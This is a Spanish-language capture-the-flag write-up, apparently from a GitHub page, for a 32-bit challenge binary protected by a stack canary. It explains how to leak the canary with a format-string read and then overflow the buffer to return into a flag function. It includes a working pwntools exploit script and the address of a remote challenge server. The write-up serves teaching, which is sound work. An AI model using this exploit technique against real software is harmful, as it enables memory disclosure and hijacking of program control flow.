r0j0rg3 No se escribir en md xd 3 hours ago

38 lines (27 loc) · 1.88 KB

Preview Code Blame Raw

Canario

También llamado como mi nuevo pajarito.

Nos encontramos ante un binario de 32 bits, little endian, sin PIE, pero a diferencia de los otros retos, con canario.

Explicación de la solución

Primero tendremos que rutilzar la vulnerabilidad format string para leakear memoria (aqui más info de la vulnerabilidad), obtener el canario utilizando esta vulnerabilidad, llenar el buffer, reescribir el canario con su mismo valor y ya proceder a hacer el ret2win. Aquí se deja el payload de python3 que se puede utilizar para resolver el reto.

```
from pwn import *

p = process('./canario')

log.info(p.clean())
p.sendline('%23$p')     # Imprimimos el canario (Mirar post de abajo)
p.recvline()
canary = int(p.recvline(), 16)  # Guardamos el canario en una variable
log.success(f'Canary: {hex(canary)}')

payload = b'A' * 33     # Llenamos el buffer
payload += p32(canary)  # Escribimos el canario original para que no salte
payload += b'A' * 12    # Escribimos el padding al return pointer
payload += p32(0x08049275)  # Dirección de la función con la flag

print(p.clean())
```

```
p.sendline(payload)
print(p.clean().decode('latin-1'))
```

En este post se explica mas detalladamente como se realiza el procedimiento para obtener esos valores, los cuales se deberán modificar para que sea acorde a nuestro programa. Todo está internet, solo hay que saber leer e interpretar :p

Para explotar el binario, se debería cambiar la línea `p = process('./canario')` por `p = connection("51.77.214.160", 31337)` y además realizar pequeñas modificaciones en las lineas que recibes y envías, pues por como está desplegado el reto las lineas que tu envías se vuelven a recibir.

Espero que hayais aprendido que es un canario, nos vemos pronto. ¡Happy hacking!